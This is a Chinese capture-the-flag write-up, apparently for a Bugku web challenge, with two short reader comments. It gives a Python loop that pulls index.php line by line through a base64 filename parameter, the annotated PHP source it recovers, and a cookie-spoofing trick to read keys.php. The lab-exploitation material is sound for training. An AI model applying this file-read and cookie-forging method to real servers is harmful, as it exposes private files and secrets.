首页是一串乱码,但是可以从URL看出最后的$file参数的值是base64加密的
解密之后得到加密的参数是key.txt,$line的参数什么都没有,作用是显示文件中对应的行的内容,如果是1就显示1行,由此我们编写脚本跑出index.php中对应的内容,脚本代码如下:
#!coding:utf-8 import requests s = requests.session() for i in range(20): url = 'http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw'%i get = s.get(url) text = get.text print text
脚本跑出的index.php内容如下,我对代码写了一些简单的注释:
- <?php
- error_reporting(0); //屏蔽错误信息
- $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //将filename参数的值加密、没有值就为空
- $line=isset($_GET['line'])?intval($_GET['line']):0; //判断line参数是否有值,如果没有值就默认给个0
- if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //如果$file参数为空,URL就默认成header里面的东西
- //定义了一个文件列表
- $file_list = array(
- '0' =>'keys.txt',
- '1' =>'index.php',
- );
- //如果cookie的值为 margin=margin,就给file_list列表里增加了一个keys.php
- if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
- $file_list[2]='keys.php';
- }
- //如果$file的文件名在file_list里面,就显示$file这个文件的内容
- if(in_array($file, $file_list)){
- $fa = file($file);
- echo $fa[$line];
- }
- ?>
通过上面的代码我们可以看到,flag应该在keys.php这个文件中,如果filename=keys.php,并且cookie的值为 margin=margin,就会打印出flag,这里的filename的值需要base64加密,于是我们构造payload如下:
成功拿到flag。。。
宁夏银川市 1F
恩,不错。继续努力
宁夏银川市 2F
学习一下Cookie欺骗
bugku过不去了